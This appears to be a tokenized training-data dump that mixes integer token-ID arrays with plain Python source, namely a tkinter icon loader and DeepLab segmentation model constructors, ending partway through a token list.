29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
29871,
29941,
29892,
7164,
29922,
29881,
8634,
29892,
270,
8634,
29922,
29881,
8634,
29892,
24003,
29922,
8824,
511,
13,
9651,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
449,
29918,
305,
12629,
511,
13,
9651,
302,
29876,
29889,
1123,
29931,
29965,
580,
13,
4706,
4514,
13,
4706,
2428,
29898,
3289,
18009,
1168,
29894,
29892,
1583,
467,
1649,
2344,
1649,
10456,
7576,
29897,
13,
13,
13,
1990,
12738,
29925,
11426,
292,
29898,
15755,
29889,
16941,
2556,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
1125,
13,
4706,
2428,
29898,
3289,
18009,
11426,
292,
29892,
1583,
467,
1649,
2344,
12035,
13,
9651,
302,
29876,
29889,
29909,
1388,
415,
573,
12810,
29887,
11426,
29906,
29881,
29898,
29896,
511,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
262,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
29871,
29896,
29892,
24003,
29922,
8824,
511,
13,
9651,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
449,
29918,
305,
12629,
511,
13,
9651,
302,
29876,
29889,
1123,
29931,
29965,
3101,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
2159,
353,
921,
29889,
12181,
14352,
29906,
17531,
13,
4706,
363,
878,
297,
1583,
29901,
13,
9651,
921,
353,
878,
29898,
29916,
29897,
13,
4706,
736,
383,
29889,
1639,
3733,
403,
29898,
29916,
29892,
2159,
29922,
2311,
29892,
4464,
2433,
18152,
457,
279,
742,
7595,
29918,
29883,
1398,
414,
29922,
8824,
29897,
13,
13,
13,
1990,
12738,
29925,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
29918,
305,
12629,
29892,
472,
29878,
681,
29918,
29878,
1078,
29892,
714,
29918,
305,
12629,
29922,
29896,
29906,
29947,
1125,
13,
4706,
2428,
29898,
3289,
18009,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
10585,
353,
5159,
13,
4706,
10585,
29889,
4397,
29898,
15755,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
262,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
29871,
29896,
29892,
24003,
29922,
8824,
511,
13,
9651,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
449,
29918,
305,
12629,
511,
13,
9651,
302,
29876,
29889,
1123,
29931,
29965,
22130,
13,
13,
4706,
19257,
353,
18761,
29898,
8141,
681,
29918,
29878,
1078,
29897,
13,
4706,
363,
6554,
297,
19257,
29901,
13,
9651,
10585,
29889,
4397,
29898,
3289,
18009,
1168,
29894,
29898,
262,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
6554,
876,
13,
13,
4706,
10585,
29889,
4397,
29898,
3289,
18009,
11426,
292,
29898,
262,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
876,
13,
13,
4706,
1583,
29889,
535,
4270,
353,
302,
29876,
29889,
7355,
1293,
29898,
7576,
29897,
13,
13,
4706,
1583,
29889,
4836,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29945,
334,
714,
29918,
305,
12629,
29892,
714,
29918,
305,
12629,
29892,
29871,
29896,
29892,
24003,
29922,
8824,
511,
13,
9651,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
449,
29918,
305,
12629,
511,
13,
9651,
302,
29876,
29889,
1123,
29931,
29965,
3285,
13,
9651,
302,
29876,
29889,
15063,
449,
29898,
29900,
29889,
29906,
29945,
876,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
620,
353,
5159,
13,
4706,
363,
7602,
297,
1583,
29889,
535,
4270,
29901,
13,
9651,
620,
29889,
4397,
29898,
20580,
29898,
29916,
876,
13,
4706,
620,
353,
4842,
305,
29889,
4117,
29898,
690,
29892,
3964,
29922,
29896,
29897,
13,
4706,
736,
1583,
29889,
4836,
29898,
690,
29897,
13,
13,
13,
1990,
7399,
10358,
29895,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2069,
2433,
1335,
326,
292,
29374,
13,
4706,
2428,
29898,
5160,
10358,
29895,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
2344,
353,
2069,
13,
4706,
1583,
29889,
12071,
29918,
16744,
580,
13,
13,
1678,
822,
10092,
29918,
16744,
29898,
1311,
1125,
13,
4706,
363,
3883,
297,
1583,
29889,
7576,
7295,
13,
9651,
565,
338,
8758,
29898,
5453,
29892,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29897,
470,
338,
8758,
29898,
5453,
29892,
302,
29876,
29889,
1168,
29894,
4300,
4220,
29906,
29881,
1125,
13,
18884,
1583,
29889,
2344,
29918,
5453,
29898,
5453,
29897,
13,
13,
1678,
822,
2069,
29918,
5453,
29898,
1311,
29892,
3883,
1125,
13,
4706,
396,
349,
3637,
25350,
947,
13560,
326,
292,
2847,
423,
2065,
291,
472,
278,
3256,
29892,
577,
437,
451,
817,
304,
2069,
277,
4456,
911,
1449,
29889,
13,
4706,
565,
525,
1335,
326,
292,
29915,
297,
1583,
29889,
2344,
29901,
13,
9651,
736,
13,
13,
4706,
2069,
29918,
5696,
353,
2069,
29918,
23515,
29961,
1311,
29889,
2344,
29962,
13,
13,
4706,
565,
1583,
29889,
2344,
1275,
376,
18152,
457,
279,
29908,
322,
338,
8758,
29898,
5453,
29892,
302,
29876,
29889,
1168,
29894,
4300,
4220,
29906,
29881,
1125,
13,
9651,
2069,
29918,
5696,
29898,
5453,
29889,
7915,
29897,
13,
9651,
565,
3883,
29889,
29890,
3173,
338,
451,
6213,
29901,
13,
18884,
4842,
305,
29889,
15755,
29889,
2344,
29889,
3298,
359,
23538,
5453,
29889,
29890,
3173,
29897,
13,
13,
13,
1990,
6438,
29898,
5160,
10358,
29895,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
9018,
267,
29892,
269,
802,
29872,
911,
29918,
9018,
267,
29892,
13,
462,
7985,
29896,
29916,
29896,
29918,
9018,
267,
29892,
7985,
29941,
29916,
29941,
29918,
9018,
267,
29892,
289,
29876,
29922,
5574,
29892,
289,
29876,
29918,
29881,
29922,
29900,
29889,
29896,
29892,
2069,
2433,
1335,
326,
292,
742,
491,
3364,
29922,
8516,
1125,
13,
4706,
2428,
29898,
18654,
29892,
1583,
467,
1649,
2344,
12035,
2344,
29897,
13,
4706,
1583,
29889,
262,
9018,
267,
353,
297,
9018,
267,
13,
4706,
1583,
29889,
29890,
1478,
465,
353,
491,
3364,
13,
4706,
1583,
29889,
11197,
353,
289,
29876,
13,
13,
4706,
1583,
29889,
11236,
362,
353,
302,
29876,
29889,
1123,
29931,
29965,
29898,
262,
6689,
29922,
8824,
29897,
13,
13,
4706,
1583,
29889,
29879,
802,
29872,
911,
353,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
262,
9018,
267,
29892,
269,
802,
29872,
911,
29918,
9018,
267,
29892,
8466,
29918,
2311,
29922,
29896,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
1583,
29889,
29879,
802,
29872,
911,
29918,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
29879,
802,
29872,
911,
29918,
9018,
267,
29892,
19399,
29922,
11197,
29918,
29881,
29897,
13,
13,
4706,
1583,
29889,
18837,
29896,
29916,
29896,
353,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29879,
802,
29872,
911,
29918,
9018,
267,
29892,
7985,
29896,
29916,
29896,
29918,
9018,
267,
29892,
8466,
29918,
2311,
29922,
29896,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
1583,
29889,
18837,
29896,
29916,
29896,
29918,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
18837,
29896,
29916,
29896,
29918,
9018,
267,
29892,
19399,
29922,
11197,
29918,
29881,
29897,
13,
13,
4706,
1583,
29889,
18837,
29941,
29916,
29941,
353,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29879,
802,
29872,
911,
29918,
9018,
267,
29892,
7985,
29941,
29916,
29941,
29918,
9018,
267,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
7164,
29922,
29896,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
1583,
29889,
18837,
29941,
29916,
29941,
29918,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
18837,
29941,
29916,
29941,
29918,
9018,
267,
29892,
19399,
29922,
11197,
29918,
29881,
29897,
13,
13,
4706,
714,
9018,
267,
353,
7985,
29896,
29916,
29896,
29918,
9018,
267,
718,
7985,
29941,
29916,
29941,
29918,
9018,
267,
13,
13,
4706,
1583,
29889,
26180,
29918,
14340,
981,
353,
297,
9018,
267,
2804,
714,
9018,
267,
13,
4706,
565,
313,
1311,
29889,
29890,
1478,
465,
338,
451,
6213,
29897,
322,
313,
1311,
29889,
29890,
1478,
465,
1275,
376,
19676,
1159,
322,
1583,
29889,
26180,
29918,
14340,
981,
29901,
13,
9651,
1583,
29889,
14340,
981,
353,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
262,
9018,
267,
29892,
714,
9018,
267,
29892,
8466,
29918,
2311,
29922,
29896,
29897,
13,
13,
4706,
1583,
29889,
12071,
29918,
16744,
580,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
10110,
353,
921,
13,
4706,
921,
353,
1583,
29889,
29879,
802,
29872,
911,
29898,
29916,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
921,
353,
1583,
29889,
29879,
802,
29872,
911,
29918,
11197,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
11236,
362,
29898,
29916,
29897,
13,
13,
4706,
921,
29918,
29896,
29916,
29896,
353,
1583,
29889,
18837,
29896,
29916,
29896,
29898,
29916,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
921,
29918,
29896,
29916,
29896,
353,
1583,
29889,
18837,
29896,
29916,
29896,
29918,
11197,
29898,
29916,
29918,
29896,
29916,
29896,
29897,
13,
4706,
921,
29918,
29896,
29916,
29896,
353,
1583,
29889,
11236,
362,
29898,
29916,
29918,
29896,
29916,
29896,
29897,
13,
13,
4706,
921,
29918,
29941,
29916,
29941,
353,
1583,
29889,
18837,
29941,
29916,
29941,
29898,
29916,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
921,
29918,
29941,
29916,
29941,
353,
1583,
29889,
18837,
29941,
29916,
29941,
29918,
11197,
29898,
29916,
29918,
29941,
29916,
29941,
29897,
13,
4706,
921,
29918,
29941,
29916,
29941,
353,
1583,
29889,
11236,
362,
29898,
29916,
29918,
29941,
29916,
29941,
29897,
13,
13,
4706,
714,
353,
4842,
305,
29889,
4117,
4197,
29916,
29918,
29896,
29916,
29896,
29892,
921,
29918,
29941,
29916,
29941,
1402,
29871,
29896,
29897,
13,
13,
4706,
565,
1583,
29889,
29890,
1478,
465,
338,
451,
6213,
29901,
13,
9651,
565,
1583,
29889,
29890,
1478,
465,
1275,
376,
19676,
29908,
322,
1583,
29889,
26180,
29918,
14340,
981,
29901,
13,
18884,
10110,
353,
1583,
29889,
14340,
981,
29898,
22350,
29897,
13,
18884,
714,
4619,
10110,
13,
9651,
25342,
1583,
29889,
29890,
1478,
465,
1275,
376,
12857,
29908,
322,
451,
1583,
29889,
26180,
29918,
14340,
981,
29901,
13,
18884,
714,
4619,
10110,
13,
9651,
396,
449,
353,
383,
29889,
295,
29884,
29898,
449,
29892,
297,
6689,
29922,
5574,
29897,
13,
4706,
736,
714,
13,
13,
13,
1990,
6438,
2772,
20580,
29898,
5160,
10358,
29895,
1125,
13,
1678,
9995,
18654,
316,
535,
4068,
7546,
5823,
29889,
13,
1678,
826,
3174,
29901,
13,
418,
10970,
29901,
1881,
18196,
13,
418,
269,
802,
29872,
911,
29918,
9018,
267,
29901,
1353,
310,
29871,
29896,
29916,
29896,
18094,
297,
269,
802,
29872,
911,
7546,
29889,
13,
418,
7985,
29896,
29916,
29896,
29918,
9018,
267,
29901,
1353,
310,
29871,
29896,
29916,
29896,
18094,
297,
7985,
7546,
29889,
13,
418,
7985,
29941,
29916,
29941,
29918,
9018,
267,
29901,
1353,
310,
29871,
29941,
29916,
29941,
18094,
297,
7985,
7546,
29889,
13,
418,
380,
2426,
29901,
18652,
24081,
314,
10335,
13879,
7226,
29896,
29892,
29906,
29962,
13,
1678,
16969,
29901,
13,
418,
3974,
316,
20580,
7546,
5858,
29889,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
9018,
267,
29892,
269,
802,
29872,
911,
29918,
9018,
267,
29892,
7985,
29896,
29916,
29896,
29918,
9018,
267,
29892,
7985,
29941,
29916,
29941,
29918,
9018,
267,
29892,
13,
462,
380,
2426,
7607,
29896,
29892,
29871,
29906,
511,
7164,
7607,
29900,
29892,
29871,
29896,
511,
289,
29876,
29922,
5574,
29892,
289,
29876,
29918,
29881,
29922,
29900,
29889,
29896,
29892,
2069,
2433,
1335,
326,
292,
29374,
13,
4706,
2428,
29898,
18654,
2772,
20580,
29892,
1583,
467,
1649,
2344,
12035,
2344,
29897,
13,
4706,
1583,
29889,
11197,
353,
289,
29876,
13,
13,
4706,
1583,
29889,
11236,
362,
353,
302,
29876,
29889,
1123,
29931,
29965,
29898,
262,
6689,
29922,
5574,
29897,
13,
13,
4706,
1583,
29889,
29879,
802,
29872,
911,
353,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
262,
9018,
267,
29892,
269,
802,
29872,
911,
29918,
9018,
267,
29892,
8466,
29918,
2311,
29922,
29896,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
1583,
29889,
29879,
802,
29872,
911,
29918,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
29879,
802,
29872,
911,
29918,
9018,
267,
29892,
19399,
29922,
11197,
29918,
29881,
29897,
13,
13,
4706,
396,
24081,
314,
10335,
13,
4706,
1583,
29889,
29879,
802,
29872,
911,
29918,
311,
20580,
353,
302,
29876,
29889,
1168,
29894,
4300,
4220,
29906,
29881,
29898,
29879,
802,
29872,
911,
29918,
9018,
267,
29892,
269,
802,
29872,
911,
29918,
9018,
267,
29892,
13,
462,
462,
462,
8466,
29918,
2311,
7607,
29896,
29892,
29871,
29946,
511,
13,
462,
462,
462,
380,
2426,
29922,
303,
2426,
29892,
7164,
29922,
12791,
29897,
13,
13,
4706,
1583,
29889,
18837,
29896,
29916,
29896,
353,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29879,
802,
29872,
911,
29918,
9018,
267,
29892,
7985,
29896,
29916,
29896,
29918,
9018,
267,
29892,
8466,
29918,
2311,
29922,
29896,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
1583,
29889,
18837,
29896,
29916,
29896,
29918,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
18837,
29896,
29916,
29896,
29918,
9018,
267,
29892,
19399,
29922,
11197,
29918,
29881,
29897,
13,
13,
4706,
1583,
29889,
18837,
29941,
29916,
29941,
353,
302,
29876,
29889,
1168,
29894,
29906,
29881,
29898,
29879,
802,
29872,
911,
29918,
9018,
267,
29892,
7985,
29941,
29916,
29941,
29918,
9018,
267,
29892,
8466,
29918,
2311,
29922,
29941,
29892,
7164,
29922,
29896,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
1583,
29889,
18837,
29941,
29916,
29941,
29918,
11197,
353,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
29898,
18837,
29941,
29916,
29941,
29918,
9018,
267,
29892,
19399,
29922,
11197,
29918,
29881,
29897,
13,
4706,
1583,
29889,
12071,
29918,
16744,
580,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
921,
353,
1583,
29889,
29879,
802,
29872,
911,
29898,
29916,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
921,
353,
1583,
29889,
29879,
802,
29872,
911,
29918,
11197,
29898,
29916,
29897,
13,
4706,
921,
353,
1583,
29889,
11236,
362,
29898,
29916,
29897,
13,
13,
4706,
921,
353,
1583,
29889,
11236,
362,
29898,
1311,
29889,
29879,
802,
29872,
911,
29918,
311,
20580,
29898,
29916,
876,
13,
13,
4706,
921,
29918,
29896,
29916,
29896,
353,
1583,
29889,
18837,
29896,
29916,
29896,
29898,
29916,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
921,
29918,
29896,
29916,
29896,
353,
1583,
29889,
18837,
29896,
29916,
29896,
29918,
11197,
29898,
29916,
29918,
29896,
29916,
29896,
29897,
13,
4706,
921,
29918,
29896,
29916,
29896,
353,
1583,
29889,
11236,
362,
29898,
29916,
29918,
29896,
29916,
29896,
29897,
13,
13,
4706,
921,
29918,
29941,
29916,
29941,
353,
1583,
29889,
18837,
29941,
29916,
29941,
29898,
29916,
29897,
13,
4706,
565,
1583,
29889,
11197,
29901,
13,
9651,
921,
29918,
29941,
29916,
29941,
353,
1583,
29889,
18837,
29941,
29916,
29941,
29918,
11197,
29898,
29916,
29918,
29941,
29916,
29941,
29897,
13,
4706,
921,
29918,
29941,
29916,
29941,
353,
1583,
29889,
11236,
362,
29898,
29916,
29918,
29941,
29916,
29941,
29897,
13,
13,
4706,
714,
353,
4842,
305,
29889,
4117,
4197,
29916,
29918,
29896,
29916,
29896,
29892,
921,
29918,
29941,
29916,
29941,
1402,
29871,
29896,
29897,
13,
4706,
736,
714,
13,
13,
13,
1990,
3725,
14420,
29898,
15755,
29889,
7355,
1125,
13,
1678,
9995,
29903,
802,
29872,
911,
322,
1222,
29883,
7018,
7546,
515,
3725,
1212,
13,
1678,
9995,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
297,
29918,
22100,
29892,
20376,
29922,
29896,
29953,
1125,
13,
4706,
2428,
29898,
1660,
14420,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
485,
29887,
29918,
10109,
353,
302,
29876,
29889,
29909,
1388,
415,
573,
12810,
29887,
11426,
29906,
29881,
29898,
29896,
29897,
13,
4706,
1583,
29889,
13801,
353,
302,
29876,
29889,
16941,
2556,
29898,
13,
9651,
302,
29876,
29889,
12697,
29898,
262,
29918,
22100,
29892,
297,
29918,
22100,
849,
20376,
29892,
24003,
29922,
8824,
511,
13,
9651,
302,
29876,
29889,
1123,
29931,
29965,
29898,
262,
6689,
29922,
5574,
511,
13,
9651,
302,
29876,
29889,
12697,
29898,
262,
29918,
22100,
849,
20376,
29892,
297,
29918,
22100,
29892,
24003,
29922,
8824,
511,
13,
9651,
302,
29876,
29889,
29903,
335,
29885,
3398,
580,
13,
4706,
1723,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
921,
1125,
13,
4706,
289,
29892,
274,
29892,
17117,
903,
353,
921,
29889,
2311,
580,
13,
4706,
343,
353,
1583,
29889,
485,
29887,
29918,
10109,
29898,
29916,
467,
1493,
29898,
29890,
29892,
274,
29897,
13,
4706,
343,
353,
1583,
29889,
13801,
29898,
29891,
467,
1493,
29898,
29890,
29892,
274,
29892,
29871,
29896,
29892,
29871,
29896,
29897,
13,
4706,
921,
29918,
7052,
29881,
353,
921,
334,
343,
29889,
18837,
29918,
294,
29898,
29916,
29897,
13,
4706,
736,
921,
29918,
7052,
29881,
13,
13,
13,
1753,
2069,
29918,
18152,
457,
279,
29898,
20158,
1125,
13,
1678,
9995,
27175,
278,
7688,
322,
24003,
1213,
15945,
13,
1678,
302,
29876,
29889,
2344,
29889,
23362,
23538,
20158,
29892,
29871,
29900,
29897,
13,
1678,
297,
29918,
1725,
271,
29892,
714,
29918,
1725,
271,
29892,
298,
29892,
281,
353,
12489,
29889,
12181,
13,
13,
1678,
4974,
298,
1275,
29871,
29896,
29892,
525,
10454,
871,
2304,
2159,
29918,
29882,
29922,
29896,
29915,
13,
1678,
4974,
297,
29918,
1725,
271,
1275,
714,
29918,
1725,
271,
29892,
320,
13,
4706,
525,
797,
13181,
457,
279,
1006,
1971,
18411,
4464,
29892,
1881,
8242,
2159,
322,
1962,
29915,
320,
13,
4706,
525,
4572,
2159,
881,
367,
278,
1021,
29915,
13,
1678,
7329,
29918,
29893,
353,
313,
29893,
718,
29871,
29896,
29897,
849,
29871,
29906,
13,
13,
1678,
565,
281,
1273,
29871,
29906,
1275,
29871,
29896,
29901,
13,
4706,
4818,
29918,
29893,
353,
7329,
29918,
29893,
448,
29871,
29896,
13,
1678,
1683,
29901,
13,
4706,
4818,
29918,
29893,
353,
7329,
29918,
29893,
448,
29871,
29900,
29889,
29945,
13,
13,
1678,
3671,
29918,
29893,
353,
4842,
305,
29889,
690,
14443,
29898,
7345,
305,
29889,
279,
927,
29898,
29893,
511,
313,
29882,
29892,
448,
29896,
876,
13,
1678,
701,
29918,
17460,
353,
313,
29896,
448,
4842,
305,
29889,
6897,
29898,
468,
29918,
29893,
448,
4818,
29918,
29893,
29897,
847,
7329,
29918,
29893,
29897,
13,
1678,
363,
274,
297,
3464,
29898,
262,
29918,
1725,
271,
1125,
13,
4706,
12489,
29889,
1272,
29961,
29883,
29892,
274,
29892,
584,
29892,
584,
29962,
353,
701,
29918,
17460,
13,
13,
13,
2344,
29918,
23515,
353,
426,
13,
1678,
525,
29916,
18852,
29899,
8945,
2396,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
8945,
3383,
13,
1678,
525,
29916,
18852,
29899,
29590,
2396,
302,
29876,
29889,
2344,
29889,
29916,
18852,
29918,
29590,
3383,
13,
1678,
525,
1335,
326,
292,
2396,
302,
29876,
29889,
2344,
29889,
1335,
326,
292,
29918,
8945,
3383,
13,
1678,
525,
18152,
457,
279,
2396,
2069,
29918,
18152,
457,
279,
29892,
13,
29913,
2
] |
x7/view/icons.py | gribbg/x7-view | 0 | 1603817 | <reponame>gribbg/x7-view<gh_stars>0
"""
Access routines to icons
"""
import tkinter as tk
from tkinter import ttk
from importlib import resources
from typing import Dict
ICONS_RESOURCE = 'x7.view.resources.icons'
icons_loaded: Dict[str, tk.PhotoImage] = dict()
def icon(tag: str, size=24) -> tk.PhotoImage:
"""Load an icon and return tk.PhotoImage for use elsewhere"""
res_name = '%s-%dx%d.png' % (tag, size, size)
with resources.path(ICONS_RESOURCE, res_name) as path:
path = str(path)
if path not in icons_loaded:
icons_loaded[path] = tk.PhotoImage(file=str(path))
return icons_loaded[path]
def test():
import os
res_icons = 'x7.view.resources.icons'
icons = []
print('is?', resources.is_resource(res_icons, 'pencil-24x24.png'))
with resources.path(res_icons, 'pencil-24x24.png') as path:
print('path: %s' % path)
suffix = '-24x24.png'
for fn in os.listdir(os.path.dirname(path)):
if fn.endswith(suffix):
icons.append(fn[:-len(suffix)])
root = tk.Tk()
root_frame = ttk.Frame(root)
root_frame.pack()
for row, size in enumerate([24, 32, 64]):
frame = ttk.Frame(root_frame)
frame.pack()
for col, ic in enumerate(icons):
ttk.Button(frame, image=icon(ic, size), style='Toolbutton').grid(row=row, column=col)
root.mainloop()
if __name__ == '__main__':
test()
| [
1,
529,
276,
1112,
420,
29958,
29887,
1091,
16264,
29914,
29916,
29955,
29899,
1493,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
13,
1678,
11028,
6745,
1475,
304,
27673,
13,
15945,
29908,
13,
13,
5215,
18883,
1639,
408,
18883,
13,
3166,
18883,
1639,
1053,
260,
11178,
13,
3166,
1053,
1982,
1053,
7788,
13,
3166,
19229,
1053,
360,
919,
13,
13,
2965,
1164,
29903,
29918,
1525,
27839,
4741,
353,
525,
29916,
29955,
29889,
1493,
29889,
13237,
29889,
27078,
29915,
13,
27078,
29918,
15638,
29901,
360,
919,
29961,
710,
29892,
18883,
29889,
25971,
2940,
29962,
353,
9657,
580,
13,
13,
13,
1753,
9849,
29898,
4039,
29901,
851,
29892,
2159,
29922,
29906,
29946,
29897,
1599,
18883,
29889,
25971,
2940,
29901,
13,
1678,
9995,
5896,
385,
9849,
322,
736,
18883,
29889,
25971,
2940,
363,
671,
17551,
15945,
29908,
13,
13,
1678,
620,
29918,
978,
353,
14210,
29879,
19222,
8235,
29995,
29881,
29889,
2732,
29915,
1273,
313,
4039,
29892,
2159,
29892,
2159,
29897,
13,
1678,
411,
7788,
29889,
2084,
29898,
2965,
1164,
29903,
29918,
1525,
27839,
4741,
29892,
620,
29918,
978,
29897,
408,
2224,
29901,
13,
4706,
2224,
353,
851,
29898,
2084,
29897,
13,
4706,
565,
2224,
451,
297,
27673,
29918,
15638,
29901,
13,
9651,
27673,
29918,
15638,
29961,
2084,
29962,
353,
18883,
29889,
25971,
2940,
29898,
1445,
29922,
710,
29898,
2084,
876,
13,
4706,
736,
27673,
29918,
15638,
29961,
2084,
29962,
13,
13,
13,
1753,
1243,
7295,
13,
1678,
1053,
2897,
13,
13,
1678,
620,
29918,
27078,
353,
525,
29916,
29955,
29889,
1493,
29889,
13237,
29889,
27078,
29915,
13,
1678,
27673,
353,
5159,
13,
13,
1678,
1596,
877,
275,
29973,
742,
7788,
29889,
275,
29918,
10314,
29898,
690,
29918,
27078,
29892,
525,
2238,
5553,
29899,
29906,
29946,
29916,
29906,
29946,
29889,
2732,
8785,
13,
1678,
411,
7788,
29889,
2084,
29898,
690,
29918,
27078,
29892,
525,
2238,
5553,
29899,
29906,
29946,
29916,
29906,
29946,
29889,
2732,
1495,
408,
2224,
29901,
13,
4706,
1596,
877,
2084,
29901,
1273,
29879,
29915,
1273,
2224,
29897,
13,
4706,
25557,
353,
17411,
29906,
29946,
29916,
29906,
29946,
29889,
2732,
29915,
13,
4706,
363,
7876,
297,
2897,
29889,
1761,
3972,
29898,
359,
29889,
2084,
29889,
25721,
29898,
2084,
22164,
13,
9651,
565,
7876,
29889,
1975,
2541,
29898,
2146,
600,
861,
1125,
13,
18884,
27673,
29889,
4397,
29898,
9144,
7503,
29899,
2435,
29898,
2146,
600,
861,
29897,
2314,
13,
13,
1678,
3876,
353,
18883,
29889,
29911,
29895,
580,
13,
1678,
3876,
29918,
2557,
353,
260,
11178,
29889,
4308,
29898,
4632,
29897,
13,
1678,
3876,
29918,
2557,
29889,
4058,
580,
13,
13,
1678,
363,
1948,
29892,
2159,
297,
26985,
4197,
29906,
29946,
29892,
29871,
29941,
29906,
29892,
29871,
29953,
29946,
29962,
1125,
13,
4706,
3515,
353,
260,
11178,
29889,
4308,
29898,
4632,
29918,
2557,
29897,
13,
4706,
3515,
29889,
4058,
580,
13,
4706,
363,
784,
29892,
16077,
297,
26985,
29898,
27078,
1125,
13,
9651,
260,
11178,
29889,
3125,
29898,
2557,
29892,
1967,
29922,
4144,
29898,
293,
29892,
2159,
511,
3114,
2433,
12229,
3092,
2824,
7720,
29898,
798,
29922,
798,
29892,
1897,
29922,
1054,
29897,
13,
1678,
3876,
29889,
3396,
7888,
580,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1243,
580,
13,
2
] |
libs/models/__init__.py | awesome-archive/deeplab-pytorch | 0 | 84464 | <reponame>awesome-archive/deeplab-pytorch<filename>libs/models/__init__.py<gh_stars>0
from __future__ import absolute_import
from .resnet import *
from .deeplabv2 import *
from .deeplabv3 import *
from .deeplabv3plus import *
from .msc import *
def init_weights(model):
for m in model.modules():
if isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight)
if m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.Linear):
nn.init.kaiming_normal_(m.weight)
if m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.BatchNorm2d):
nn.init.constant_(m.weight, 1)
if m.bias is not None:
nn.init.constant_(m.bias, 0)
def DeepLabV2_ResNet101_MSC(n_classes):
return MSC(
base=DeepLabV2(
n_classes=n_classes, n_blocks=[3, 4, 23, 3], atrous_rates=[6, 12, 18, 24]
),
scales=[0.5, 0.75],
)
def DeepLabV2S_ResNet101_MSC(n_classes):
return MSC(
base=DeepLabV2(
n_classes=n_classes, n_blocks=[3, 4, 23, 3], atrous_rates=[3, 6, 9, 12]
),
scales=[0.5, 0.75],
)
def DeepLabV3_ResNet101_MSC(n_classes, output_stride):
if output_stride == 16:
atrous_rates = [6, 12, 18]
elif output_stride == 8:
atrous_rates = [12, 24, 36]
else:
NotImplementedError
return MSC(
base=DeepLabV3(
n_classes=n_classes,
n_blocks=[3, 4, 23, 3],
atrous_rates=atrous_rates,
multi_grids=[1, 2, 4],
output_stride=output_stride,
),
scales=[0.5, 0.75],
)
def DeepLabV3Plus_ResNet101_MSC(n_classes, output_stride):
if output_stride == 16:
atrous_rates = [6, 12, 18]
elif output_stride == 8:
atrous_rates = [12, 24, 36]
else:
NotImplementedError
return MSC(
base=DeepLabV3Plus(
n_classes=n_classes,
n_blocks=[3, 4, 23, 3],
atrous_rates=atrous_rates,
multi_grids=[1, 2, 4],
output_stride=output_stride,
),
scales=[0.5, 0.75],
)
| [
1,
529,
276,
1112,
420,
29958,
1450,
14151,
29899,
10867,
29914,
311,
29872,
572,
370,
29899,
2272,
7345,
305,
29966,
9507,
29958,
